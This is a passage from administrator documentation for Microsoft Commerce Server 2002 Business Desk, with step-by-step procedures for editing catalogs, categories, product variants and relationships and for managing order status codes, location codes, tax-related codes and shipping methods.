    • Edit in Virtual Catalog to assign the product to new categories in the virtual catalog, and to view which category assignments the product inherited from the base catalog. Any changes you make apply only to the virtual catalog.
    • Edit Base Product to edit the product in the base catalog so both the base catalog and the virtual catalog get the updated data. For more instructions, see Editing a Product in a Base Catalog.
  5. If you selected Edit in a Virtual Catalog, the Catalog Editor - <catalog name> (product) screen appears. In the Assigned Categories section, do the following:
    Use this | To do this
    Available Categories Select the category you want to add the product to, and then click Add.

    If you want to remove an assigned category, click Remove.
    Assigned Categories Select the assigned category, and then click Edit if you want to edit the category.

    If you want to create a new category, click New.
    Primary parent category Select the category to be the primary parent category, and then click Set.

    The primary parent category is used to determine the canonical path to that product, or to apply category-level pricing rules to the product.
    Use Category Pricing | After you have set the primary parent category, select this option for the product to inherit the price from the category.
    Use Direct Pricing | After you have set the primary parent category, select this option for the product to use its own price.
    Refresh | After adding new categories to the catalog, click Refresh to display the new categories in the Available categories box.
  6. In the Product Family Relationships section, select the product relationship you want to edit, and then click Edit to change the name of the relationship.

    To change the item or catalog in the product relationship, select the relationship, click Remove, and then click New to create a new relationship.

  7. In the Product Picker dialog box, select the category or product you want in the relationship, and then click OK. To find the categories or products you want, you can browse or perform a keyword search.

    Note

    • In the Product Picker dialog box, Commerce Server truncates product names longer than 30 characters. If you have multiple products with the same first 30 characters, they will appear as duplicates.
  8. In the Product Family Relationships section, click Accept. Click New to continue adding more relationships.
  9. To save the product and return to the Catalogs screen, click Save and go back on the toolbar.
  10. To publish the updated virtual catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Editing Category Hierarchies

You can edit an existing category hierarchy for a selected catalog. If you have two parent categories that are closely related, and one category could logically be subordinate to the other, you can edit the category assignment. For example, if you have parent categories, one named Classical and the other Composers, you can make Composers a child category of Classical.

To edit a category hierarchy

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog containing the category hierarchy you want to edit, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Categories section, select the category whose hierarchy you want to edit, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> (category) screen, in the Assigned Categories section, select the category you want to associate this subcategory with from the Categories list.
  5. To save the edited category and return to the Catalog - <Catalog Name> screen, click Save and go back on the toolbar.
  6. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Editing Product Variants

You use the Catalog Editor module to edit existing product variants. For example, if you are selling T-shirts and you need to change the stock-keeping unit (SKU) number, you can edit the existing variant for the selected T-shirt.

To edit a product variant

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog from which you want to edit a product variant, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Products section, select the product from which you want to edit a product variant, and then click Edit.
  4. In the Catalog Editor: <Catalog Name> (product) screen, in the Product Variants section, select the product variant you want to edit in the Product Variants box.

    Depending on the type of product variant you are editing, different property boxes are available in the Product Variants section.

  5. Edit the properties in the boxes, and then click Done.
  6. To save your edits and return to the Catalog - <Catalog Name> screen, click Save and go back on the toolbar.
  7. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Deleting Product Variants

Pricing a Product in a Base Catalog

Refreshing and Publishing a Catalog


Changing a Catalog Set

You can make changes to existing catalog sets. By removing or adding catalogs to existing sets, you change the catalogs that are viewable by your users. Changes to the catalog sets do not affect the contents of the individual catalogs.

To change a catalog set

  1. In Catalogs, click Catalog Sets.
  2. In the Catalog Sets screen, select the catalog set you want to change, and then click Open on the toolbar.
  3. In the Catalog Sets screen, change the catalog set properties as needed.
  4. If you need to remove a catalog from the Assigned Catalogs list, click Remove.
  5. To save your changes and return to the Catalog Sets screen, click Save and go back on the toolbar.
  6. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Deleting a Category from a Catalog

You use the Catalog Editor module to delete a category from a catalog. When you delete a category from a catalog, any category that is associated with the category you want to delete, by either relationship or hierarchy, is affected. If this category is associated with products through category pricing, those products will be affected when you delete the category. For example, if you want to remove a category called "Just $5" and you have 15 CDs that use this category as their pricing category, these CDs will revert to the price that you assigned to them at the product level after the category is deleted.

To delete a category from a catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog from which you want to delete a category, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Categories section, select the category you want to delete, and then click Delete.

    Caution

    • If you delete a category by mistake, you will have to add that category to the catalog again.
  4. To return to the Catalogs screen, click Back on the toolbar.
  5. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Adding a Category to a Catalog

Editing a Category in a Base Catalog


Deleting a Product from a Catalog

You use the Catalog Editor module to delete a product from a catalog. For example, if you have a product in your catalog that you do not have in stock and do not intend to sell any longer, you can remove the product from your catalog.

Note

  • When you delete a product that is part of a product relationship, the relationship is affected.

To delete a product

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog from which you want to delete a product, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Products section, select the product you want to delete from the Products list, and then click Delete.

    Caution

    • If you delete a product by mistake, you will have to add that product to the catalog again.
  4. To return to the Catalogs screen, click Back on the toolbar.
  5. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Adding a Product to a Catalog

Editing a Product in a Base Catalog


Deleting a Base Catalog

You use the Catalog Editor module to delete obsolete base catalogs.

Caution

  • After you delete a catalog you cannot recover it.
  • The catalog will continue to appear on the Web site until you update the site.
  • When you delete a base catalog that is included in a virtual catalog, no message is displayed. After you delete the base catalog, on the Catalog Editor screen, the virtual catalog will be flagged Rebuild = Required.

To delete a base catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to delete, and then click Delete on the toolbar.
  3. In the Confirm Catalog Delete dialog box, click Yes to delete the catalog.
  4. To update your Web site so the catalog no longer appears, click Publish a catalog on the toolbar.

The catalog is removed from your Web site.

See Also

Exporting a Catalog

Creating a Base Catalog

Editing the Properties of a Catalog

Changing a Catalog Set


Deleting a Catalog Set

If you no longer need an established catalog set, you can delete it. Deleting a catalog set does not affect the catalogs contained in the set; it deletes only the grouping. When you delete a catalog set associated with existing users, the catalog set is no longer associated with those users.

To delete a catalog set

  1. In Catalogs, click Catalog Sets.
  2. In the Catalog Sets screen, select the catalog set you want to delete, and then click Delete on the toolbar.
  3. In the Confirm Catalog Set Delete dialog box, click Yes to delete the set.
  4. To update your Web site so the catalog set no longer appears, click Publish a catalog on the toolbar.

The catalog set is removed from your Web site.


Deleting Product Variants

You can delete product variants from a product at any time.

To delete a product variant from a product

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog from which you want to remove a product variant, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Products section, select the product from which you want to remove a product variant, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> (product) screen, in the Product Variants section, select the product variant you want to remove in the Product Variants table, and then click Remove.

    The product variant is removed from the Product Variant table.

    Caution

    • If you remove a product variant by mistake, you have to add that product variant to the catalog again.
  5. To save the changes and return to the Catalog - <Catalog Name> screen, click Save and go back on the toolbar.
  6. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Managing Category and Product Relationships

Categories and products can be related to other categories and products. For example, in a product-to-product relationship, if you have a user who buys a particular movie, the user may want to buy the soundtrack for that movie as well. In a category-to-category relationship, for example, you can have a relationship between categories for CDs and Biographies. If you have CDs by classical composers, you may have biographies of classical composers as well.

You can edit or delete existing product or category relationships. For example, if you want to add a new version of a movie soundtrack, you can edit the product relationship for the existing soundtrack in order to offer users another release of the soundtrack.

This section contains:

  • Editing a Catalog Category Relationship
  • Editing a Catalog Product Relationship
  • Deleting a Catalog Category Relationship
  • Deleting a Catalog Product Relationship


Editing a Catalog Category Relationship

You can edit category relationships whenever there is a change in the relationship. For example, if you have a category relationship between classical music and biographies of classical composers, you may want to change the relationship to classical music and documentaries if you start selling documentaries on classical composers and stop selling biographies of classical composers.

To edit a category relationship

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog in which you want to edit a relationship, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Categories section, select the category to which you want to edit a relationship, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> (category) screen, enter the necessary changes for the category relationship in the Category Relationships section, and then click Accept to save the relationship.
  5. To save your edits and return to the Catalog - <Catalog Name> screen, click Save and go back on the toolbar.
  6. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Editing a Catalog Product Relationship

You can edit product relationships whenever there is a change in the relationship. For example, if you have created a product relationship between a movie and the soundtrack of the same movie, and you want to add a new remix release of the soundtrack, you do this by editing the product relationship.

To edit a product relationship

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog in which you want to edit a product relationship, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Product section, select the product to which you want to edit a relationship, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> (product) screen, enter the necessary edits for the product relationship in the Product Relationships section, and then click Accept to save the relationship.
  5. To save your edits and return to the Catalog - <Catalog Name> screen, click Save and go back on the toolbar.
  6. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Deleting a Catalog Category Relationship

You can delete a category relationship at any time, for example, if you no longer sell a category of products, or if you want to rearrange the products on your Web site.

To delete a category relationship

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog from which you want to delete a category relationship, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Categories section, select the category from which you want to delete a relationship, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> (category) screen, in the Category Relationships section, select the relationship you want to delete, and then click Delete.

    Caution

    • If you delete a relationship by mistake, you will have to add that relationship to the catalog again.
  5. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Deleting a Catalog Product Relationship

You can delete a product from a product relationship at any time. For example, if you want to rearrange the products on your Web site, you may need to delete several product relationships.

To delete a product relationship

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog from which you want to delete a product relationship, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Products section, select the property from which you want to delete a relationship, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> (product) screen, in the Product Relationships section, select the product relationship you want to delete, and then click Delete.

    Caution

    • If you delete a relationship by mistake, you will have to add that relationship to the catalog again.
  5. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Business Desk Orders

You use the Orders modules to search your Commerce Server database for existing order information and to delete saved baskets that are no longer in use. For example, you can track the location of an order in the order process by using order status codes, enabling you to find where an order might be blocked or have unresolved problems. You can also add tax rates and shipping methods, and then update the information on your Web site.

This section contains:

  • Workflow for Order Management. Illustrates the workflow for managing orders.
  • About Orders. Describes the components of an order.
  • Adding Order Status Codes. Explains how to add order status codes.
  • Adding Country/Region Codes. Explains how to add country/region codes.
  • Adding State/Province Codes. Explains how to add state/province codes.
  • Managing Order Status Codes. Explains how to edit and delete order status codes.
  • Managing Location Codes. Explains how to edit and delete location codes.
  • Customizing Shipping Methods. Explains the three shipping methods included with Microsoft Commerce Server 2002 and how to customize them for your Web site.
  • Adding Tax Rates. Explains how to add country/region, state/province, and federal taxes.
  • Managing Tax Rates. Explains how to customize country/region, state/province, and federal taxes.
  • Publishing Order Codes on Your Web Site. Explains how to publish to your Web site new order code information such as changed orders, new tax rates, and new shipping methods.
  • Finding and Sorting Baskets. Explains how to find and sort saved baskets.
  • Deleting Baskets. Explains how to delete saved baskets that are no longer in use.
  • Finding, Viewing, and Sorting Orders. Explains how to find, view, and sort orders.
  • Deleting Orders. Explains how to delete orders from your Commerce Server database.


Workflow for Order Management

The following figure illustrates a sample scenario for adding order status codes, country/region codes, and state/province codes, as well as customizing shipping methods and adding tax rates.

  1. In the Order Status module, you add order status codes to keep track of orders placed by users on your Web site. Perform this step only if the default order status codes do not meet your business needs.
  2. In the Location Codes module, you add country/region codes to be displayed on the Web site as a shipping option for users.
  3. In the Location Codes module, you add state/province codes to be displayed on the Web site as a shipping option for users.
  4. In the Shipping Methods module, you customize a shipping method available to users on your Web site.
  5. In the Tax Rates module, you add tax rates.
  6. In the Publish Order Codes module, you publish changes to the Web site.

See Also

About Orders

Adding Order Status Codes

Adding Country/Region Codes

Adding State/Province Codes

Customizing Shipping Methods

Adding Tax Rates

Publishing Order Codes on Your Web Site


About Orders

You use the Orders modules in Commerce Server Business Desk to view order status information, maintain the order data codes used with orders, and manage orders that users place on your Web site. For example, you use the Basket Manager module to delete baskets that users have abandoned. You use the Tax Rates module to add tax rates, and use the Shipping Methods module to customize your shipping methods.

This section contains:

  • Order Status Codes
  • Location Codes
  • Order Processing
  • Shipping Methods
  • Abandoned Baskets


Order Status Codes

Order status codes help you track orders placed by users. You use the Order Status Codes module to add order status codes that appear on the Web site. For example, you might add an order code for orders that are blocked or have unresolved problems. For information about adding order status codes, see Adding Order Status Codes.

You can use order status codes to track the progress of an order. There are three default order status codes: 4 (New Order), 2 (Saved Order), and 1 (Basket).

After users add items to their baskets or submit orders to your Web site, the orders are assigned order status codes. For example, a new order that has not been processed is assigned the status code 4 (New Order). You can search for specific orders placed by users visiting your site. For example, you can search for an order by the item description, the product ID, or the order number. You can also sort orders to display the information you are looking for more clearly. For example, you can sort orders by the order status or by the last name of the user.


Location Codes

You use location codes to specify shipping and billing addresses. There are two types of location codes:

  • Country/region codes. These codes identify the countries/regions where users who order items from your site will have those items sent.
  • State/province codes. These codes identify the states and provinces where you ship your orders.

You use the Location Codes module to add and edit location codes. Before you add a new state/province code, you must ensure that the corresponding country/region code exists in your database.

When users order items from your site, they complete a profile form that includes their shipping address. The profile forms on your Web site include the state/province and country/region codes you specified.

See Also

Workflow for Order Management

Adding Order Status Codes

Adding Country/Region Codes

Adding State/Province Codes

Managing Order Status Codes


Order Processing

After a user submits an order to your Web site, it is processed by the Commerce Server Order Processing pipeline. The Order Processing pipeline (OPP) divides order processing into stages that describe a category of work. A typical OPP might include a shopper information stage, a payment stage, and a shipping stage. For example, the product description and the shipping address for the user are retrieved from the Commerce Server database, and the amount of tax is computed. The order information and the total price are stored in the Commerce Server database for the order.

You can use Microsoft BizTalk Server 2000 and later editions and Business Desk Orders together to process orders that users place on your Commerce Server Web site. For example, your site might offer computer hardware, some of which is manufactured by your company and some of which is supplied to you by trading partners. Using BizTalk Server, you can create a trading agreement for each trading partner who supplies hardware for you to sell. When a user visits your site and places an order for one of the products supplied by a trading partner, Commerce Server processes the order and sends it to BizTalk Server, and then BizTalk Server sends the order to the trading partner to be filled. For more information about integrating BizTalk Server with Business Desk Orders, contact your system administrator.

See Also

Workflow for Order Management


Shipping Methods

Before users can place orders on your Web site, you must have at least one shipping method available.

Commerce Server Business Desk supports three shipping methods:

  • Charge by weight. Use this method to determine shipping charges based on the weight of an order. You use this method to specify the charges for a range of weights.

    Note

    • To charge by weight, all products in your catalog must have the product property "weight." If you have products that do not have "weight" as a property, this option will not function properly on your Web site. For more information about adding product definitions, see Adding a Catalog Product Definition.
  • Charge by quantity. Use this method to determine shipping charges by the number of items in an order. You use this method to specify the charges for either an exact number or a range of item quantities. For example, shipping an order that contains up to three items costs $2.00. If the order consists of four or more items, the shipping cost is $4.00.
  • Charge by subtotal. Use this method to determine shipping charges by the subtotal amount of an order. For example, shipping an order that contains four CDs with a price total of $70.00 costs $4.95. If you ship an order containing one CD that costs $17.99, the shipping cost is $2.00.

You can change the shipping method properties of a selected shipping method. For example, as shipping costs change, you can change the cost per method accordingly.

If you need additional shipping methods, or if you use a delivery service (such as UPS or DHL) that offers a third-party application, contact your site developer for help. If you need to use a third-party application provided by a delivery service, contact that delivery service to receive their standard country/region codes before adding country/region codes to your Commerce Server database.

For information about installing a custom shipping method or a third-party shipping pipeline component, contact your system administrator.

For more information about customizing shipping methods, see Customizing Shipping Methods.

See Also

Workflow for Order Management

Customizing Shipping Methods

Multilingual Shipping Methods


Multilingual Shipping Methods

You can make shipping services available on your Web site in multiple languages. You use the Shipping Methods module in Business Desk to create shipping method names and descriptions in multiple languages. To display a shipping method on your Web site in a language other than the default language for your server, you must select the language that is associated with the shipping method in the Shipping Methods module in Business Desk. For information about creating multilingual shipping methods, see Customizing Shipping Methods.

See Also

Shipping Methods

Customizing Shipping Methods


Abandoned Baskets

When users shop your site, they place the items that they want to buy in a virtual basket. All the items users intend to buy are listed in their baskets when they check out. However, users sometimes log off your site without checking out or emptying their baskets. These abandoned baskets remain in your Commerce Server database until you delete them or until the users return and empty their own baskets. Users can also save their baskets and leave them in your Commerce Server database indefinitely.

To prevent a large number of abandoned or saved baskets from cluttering your Commerce Server database, on a regular basis you must delete baskets that have been abandoned or saved for a certain period of time. In the Find pane in the Basket Manager module in Business Desk, you can use filter criteria to search for baskets you want to delete. For example, you can search for baskets that have been abandoned or saved for more than two weeks, and then delete those baskets. For more information about deleting baskets, see Deleting Baskets.

See Also

Workflow for Order Management

Finding and Sorting Baskets

Finding, Viewing, and Sorting Orders


Adding Order Status Codes

You use order status codes to locate an order in the order process. An order status code identifies a name with a code for a specific area of the order process. For example, if a user ordered two CDs and two t-shirts eight weeks ago, you can view the order status codes for that order to track where it is in the order process. You have three default order status codes: 4 (New Order), 2 (Saved Order), and 1 (Basket). You might want to create new order status codes to help you track an individual order in the order process. For example, you might create an order status code to define unprocessed orders on your Web site.

Note

  • After you add an order status code, your system administrator must unload the Commerce Server application from memory on each Web server for the change to take effect. For more information, see Unloading an Application from Memory.

To add an order status code

  1. In Orders, click Order Status Codes.
  2. In the Order Status Codes screen, click Add on the toolbar.
  3. In the Order Status Codes screen, do the following:
    Use this | To do this
    Code | Select the code number for the order status code from the drop-down list.
    Code Name | Type a name for the order status code.
    Description | Type a description for the order status code.
  4. To save the order status code and continue entering new order status codes, click Save and create new on the toolbar.

    You can enter the next new order status code.

  5. To save the order status codes and return to the Order Status Codes screen, click Save and go back on the toolbar.

See Also

Workflow for Order Management

About Orders

Managing Order Status Codes

Adding Country/Region Codes

Adding State/Province Codes


Adding Country/Region Codes

You create country/region codes to identify the countries/regions that users enter on your Web site when they register or order a product. Commerce Server provides several default country/region codes.

Notes

  • You must add a country/region code to your Commerce Server database before you add the state/province codes for that country/region. If you try to add a state/province code for a country/region you have not yet added to your database, an error message appears.
  • If you need to use a third-party application provided by a delivery service, contact that delivery service so they can supply you with their standard country/region codes before you add country/region codes to your database.
  • After you add a country/region code, your system administrator must unload the Commerce Server application from memory on each Web server for the change to take effect. For more information, see Unloading an Application from Memory.

To add a country/region code

  1. In Orders, click Location Codes.
  2. In the Location Codes: <location type> screen, click View on the toolbar, select Country/Region Codes from the drop-down list, and then click Add on the toolbar.
  3. In the Location Codes: Country/Region screen, do the following:
    Use this | To do this
    Country/Region code | Type an alphabetic code for the country/region. The country/region code cannot exceed three characters.
    Display name | Type the country/region name.
    Description | Type a description for the country/region code, if necessary.
  4. To save the country/region code and return to the Location Codes: Country/Region screen, click Save and go back on the toolbar.

The new country/region code appears in the Location Codes: Country/Region screen.

See Also

Workflow for Order Management

About Orders

Managing Order Status Codes

Adding State/Province Codes


Adding State/Province Codes

You add state/province codes to your Commerce Server database to identify the states/provinces where you ship your orders. The state/province codes identify the states/provinces that appear on your Web site.

Notes

  • You must add a country/region code to your Commerce Server database before the state/province codes for that country/region can be added. If you try to add a state/province code for a country/region you have not yet added to your database, an error messages appears. For more information about adding country/region codes, see Adding Country/Region Codes.
  • After you add a state/province code, your system administrator must unload the Commerce Server application from memory on each Web server for the change to take effect. For more information, see Unloading an Application from Memory.

To add a state/province code

  1. In Orders, click Location Codes.
  2. In the Location Codes: <location type> screen, click View on the toolbar, select State/Province Codes from the drop-down list, and then click Add on the toolbar.
  3. In the Location Codes: State/Province screen, do the following:
    Use this | To do this
    State/Province code | Type an alphabetic code for the state/province.
    Display name | Type the state/province name.
    Country/Region | Select the country/region for the state/province.
    Description | Type a description for the state/province code, if necessary.
  4. To save the changes and return to the Location Codes: State/Province screen, click Save and go back on the toolbar.

The new state/province code is saved in your Commerce Server database.

See Also

Workflow for Order Management

About Orders

Adding Country/Region Codes

Managing Order Status Codes


Managing Order Status Codes

You use the Order Status Codes module in Commerce Server Business Desk to manage order status codes that appear on your Web site. Order status codes help you track orders placed by users.

This section contains:

  • Editing Order Status Codes
  • Deleting Order Status Codes


Editing Order Status Codes

You can edit the names and descriptions of existing order status codes by using the Order Status Codes module. However, you cannot edit the actual number for a code.

Notes

  • You cannot edit the actual code number in the Code box. If you want to change the code number, you must delete the order status code and add a new one with the required change in the Code box.
  • After you edit an order status code, you must contact your system administrator to update your site with the new code.

To edit an order status code

  1. In Orders, click Order Status Codes.
  2. In the Order Status Codes screen, select the order status code you want to edit, and then click Open on the toolbar.
  3. In the Order Status Codes - <order status code> screen, do the following:
    Use this | To do this
    Code Name | Type a new name for the order status code.
    Description | Type a new description for the order status code.
  4. To save your edits and return to the Order Status Code screen, click Save and go back on the toolbar.

The edited order status code is saved.

See Also

About Orders

Adding Order Status Codes

Deleting Order Status Codes


Deleting Order Status Codes

You can delete existing order status codes by using the Order Status Codes module. This is useful when, for example, you do not require an order status code for identifying a particular object.

Notes

  • After you delete an order status code, it cannot be recovered. If you need the order status code you deleted, you must re-create it.
  • After you delete an order status code, you must contact your system administrator to update your site so the code is removed.

To delete an order status code

  1. In Orders, click Order Status Codes.
  2. In the Order Status Codes screen, select the order status code you want to delete, and then click Delete on the toolbar.
  3. In the Order Status Codes confirmation dialog box, click OK.

The order status code is deleted from your site.

See Also

About Orders

Adding Order Status Codes

Editing Order Status Codes


Managing Location Codes

You use the Location Codes module to manage your country/region codes and state/province codes to specify shipping and billing addresses.

This section contains:

  • Editing Country/Region Codes
  • Editing State/Province Codes
  • Deleting Country/Region Codes
  • Deleting State/Province Codes


Editing Country/Region Codes

You can edit the names and descriptions of existing country/region codes by using the Location Codes module.

Notes

  • You cannot edit the actual code number in the Code box. If you want to change the code number, you must delete the entire country/region code and add a new one with the required change in the Code box.
  • After you edit a country/region code, you must contact your system administrator to update your site with the new code.

To edit a country/region code

  1. In Orders, click Location Codes.
  2. In the Location Codes: <location type> screen, click View on the toolbar, and then select Country/Region Codes from the drop-down list.
  3. Select the country/region code you want to edit, and then click Open on the toolbar.
  4. In the Country/Region Codes - <country/region> screen, do the following:
    Use this | To do this
    Display name | Type the country/region name.
    Description | Type a description for the country/region code, if necessary.
  5. To save your edits and return to the Country/Region Codes screen, click Save and go back on the toolbar.

The edited country/region code is saved.

See Also

About Orders

Adding Country/Region Codes

Deleting Country/Region Codes


Editing State/Province Codes

You can edit the names and descriptions of an existing state/province code by using the Location Codes module.

Notes

  • You cannot edit the actual code number in the Code box. If you want to change the code number, you must delete the state/province code and add a new one with the required change in the Code box.
  • After you edit a state/province code, you must contact your system administrator to update your site with the edited code.

To edit a state/province code

  1. In Orders, click Location Codes.
  2. In the Location Codes: <location type> screen, click View on the toolbar, and then select State/Province Codes from the drop-down list.

    Note

    • The Business Desk screen name appears as the last data code that was selected. For example, if Order Status Codes was the last data code selected, the name of the Business Desk screen is Order Status Codes.
  3. Select the state/province code you want to edit, and then click Open on the toolbar.
  4. In the State/Province Codes - <state/province> screen, do the following:
    Use this | To do this
    Display name | Type the state/province name.
    Description | Type a description for the state/province code, if necessary.
  5. To save your edits and return to the State/Province Codes screen, click Save and go back on the toolbar.

The edited state/province code is saved.

See Also

About Orders

Adding State/Province Codes

Deleting State/Province Codes


Deleting Country/Region Codes

You can delete existing country/region codes by using the Location Codes module. This is useful when, for example, you do not ship products to a particular country/region and do not want users to view it as an option.

Notes

  • When you delete a country/region code, you also delete all of the state/province codes associated with that country/region.
  • After you delete a country/region code, it cannot be recovered. If you need that country/region code again, you must re-create it.
  • After you delete a country/region code, you must contact your system administrator to update your site so the code is deleted.

To delete a country/region code

  1. In Orders, click Location Codes.
  2. In the Location Codes: <location type> screen, click View on the toolbar, and then select Country/Region Codes from the drop-down list.
  3. Select the country/region code you want to delete, and then click Delete on the toolbar.
  4. In the Delete Related Codes dialog box, click OK.
  5. In the Country/Region Codes dialog box, click OK.

The country/region code is deleted from your site.

See Also

About Orders

Adding Country/Region Codes

Editing Country/Region Codes


Deleting State/Province Codes

You can delete existing state/province codes by using the Location Codes module. This is useful when, for example, you do not ship products to a particular state/province and do not want users to view it as an option.

Notes

  • After you delete a state/province code, it cannot be recovered. If you need that state/province code again, you must re-create it.
  • After you delete a state/province code, your system administrator must unload the Commerce Server application from memory on each Web server for the change to take effect. For more information, see Unloading an Application from Memory.

To delete a state/province code

  1. In Orders, click Location Codes.
  2. In the Location Codes: <location type> screen, click View on the toolbar, and then select State/Province Codes from the drop-down list.
  3. In the State/Province Codes screen, select the code you want to delete, and then click Delete on the toolbar.
  4. In the State/Province Codes dialog box, click OK.

The state/province code is deleted from your site.

See Also

About Orders

Adding State/Province Codes

Editing State/Province Codes


Customizing Shipping Methods

You use the Shipping Methods module in Commerce Server Business Desk to customize shipping methods that appear on your Web site.

Note the following requirements:

  • Before users can place orders on your Web site, you must have at least one shipping method available.
  • Before a shipping method can appear on your Web site in a language other than the default language for your server, you must select the language that is associated with the shipping method.
  • If you need additional shipping methods, or if you use a delivery service (such as UPS or DHL) that offers a third-party application, contact your site developer for help.
  • If you need to use a third-party application provided by a delivery service, contact that delivery service to receive their standard country/region codes before adding country/region codes to your Commerce Server database.

You can make shipping services available on your Web site in multiple languages. You use the Shipping Methods module in Commerce Server Business Desk to create shipping methods and descriptions in multiple languages.

Commerce Server Business Desk supports three shipping methods:

  • Charge by weight. Use this method to determine shipping charges based on the weight of an order. You use this method to specify the charges for a range of weights.
  • Charge by quantity. Use this method to determine shipping charges by the number of items in an order. You use this method to specify the charges for either an exact number or a range of item quantities.
  • Charge by subtotal. Use this method to determine shipping charges by the subtotal amount of an order.

You can change the shipping method properties of a selected shipping method. For example, as shipping costs change, you can change the cost per method accordingly.

If you use a delivery service that offers a number of shipping options (such as USPS or Federal Express), or a delivery service whose rates are figured by weight and zone (such as UPS), you will need to use a third-party pipeline component from that delivery service.

Notes

  • You must use the Publish Order Codes module to update your site after you have added a shipping method. For more information about publishing order codes, see Publishing Order Codes on Your Web Site.
  • To charge by weight, all products in your catalog must have the product property "weight." If you have products that do not have "weight" as a property, this option will not function properly on your Web site. For more information about adding product definitions, see Adding a Catalog Product Definition.

To add a multilingual shipping method

To add a charge by weight shipping method

To add a charge by quantity shipping method

To add a charge by subtotal shipping method

To edit shipping method properties

To add a multilingual shipping method

  1. In Orders, click Shipping Methods.
  2. In the Shipping Methods screen, click Language on the toolbar, and then select the language associated with the shipping method from the drop-down list.
  3. In the Shipping Methods screen, click Add on the toolbar, and then select the shipping method from the drop-down list.
  4. In the Charge by <shipping method> -New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language Select the language that is associated with the shipping method from the drop-down list.

    Note

    • If you previously selected the language associated with the shipping method in the Shipping Methods screen, skip this step.
    Name | Type a name for the shipping method.
    Description | Type a description for the shipping method.
    Enabled | Select this check box to enable the shipping method. If you do not enable the shipping method, it will not appear on your Web site.
  5. In the Rates section, click New, and then do the following:
    Use this | To do this
    <method name>, up to | Type the amount for the <method>.
    Shipping Rate | Type the amount of the rate.
  6. Click Accept.
  7. After you have entered all the rates, click the last row in the rates list, which reads over <highest quantity entered>, and then click Edit.

    Important

    • You must edit the last line under Rates to save your shipping method.
  8. Enter the highest rate for this shipping method, and then click Accept.
  9. To save the shipping method and return to the Shipping Methods screen, click Save and go back on the toolbar.

The shipping method is saved.

To add a charge by weight shipping method

  1. In Orders, click Shipping Methods.
  2. In the Shipping Methods screen, click Add on the toolbar, and then select Charge by Weight from the drop-down list.
  3. In the Charge by Weight - New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language | Select the language that is associated with the shipping method.
    Name | Type a name for the shipping method.
    Description | Type a description for the shipping method.
    Enabled | Select this check box to enable the shipping method. If you do not enable the shipping method, it will not appear on your Web site.
  4. In the Rates section, click New, and then do the following:
    Use this | To do this
    Weight, up to | Type a weight amount for the rate level.
    Shipping Rate | Type the amount of the rate.
  5. Click Accept.
  6. After you have entered all the rates, click the last row in the rates list, which reads over <highest weight entered>, and then click Edit.

    Important

    • You must edit the last line under Rates to save your shipping method.
  7. Enter the highest rate for this shipping method, and then click Accept.
  8. To save the shipping method and return to the Shipping Methods screen, click Save and go back on the toolbar.

The charge by weight shipping method is saved.

To add a charge by quantity shipping method

  1. In Orders, click Shipping Methods.
  2. In the Shipping Methods screen, click Add on the toolbar, and then select Charge by Quantity from the drop-down list.
  3. In the Charge by Quantity-New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language | Select the language that is associated with the shipping method.
    Name | Type a name for the shipping method.
    Description | Type a description for the shipping method.
    Enabled | Select this check box to enable the shipping method. If you do not enable the shipping method, it will not appear on your Web site.
  4. In the Rates section, click New, and then do the following:
    Use this | To do this
    Quantity, up to | Type the quantity for the rate level.
    Shipping Rate | Type the amount of the rate.
  5. Click Accept.
  6. After you have entered all the rates, click the last row in the rates list, which reads over <highest quantity entered>, and then click Edit.

    Important

    • You must edit the last line under Rates to save your shipping method.
  7. Enter the highest rate for this shipping method, and then click Accept.
  8. To save the shipping method and return to the Shipping Methods screen, click Save and go back on the toolbar.

The charge by quantity shipping method is saved.

To add a charge by subtotal shipping method

  1. In Orders, click Shipping Methods.
  2. In the Shipping Methods screen, click Add on the toolbar, and then select Charge by Subtotal from the drop-down list.
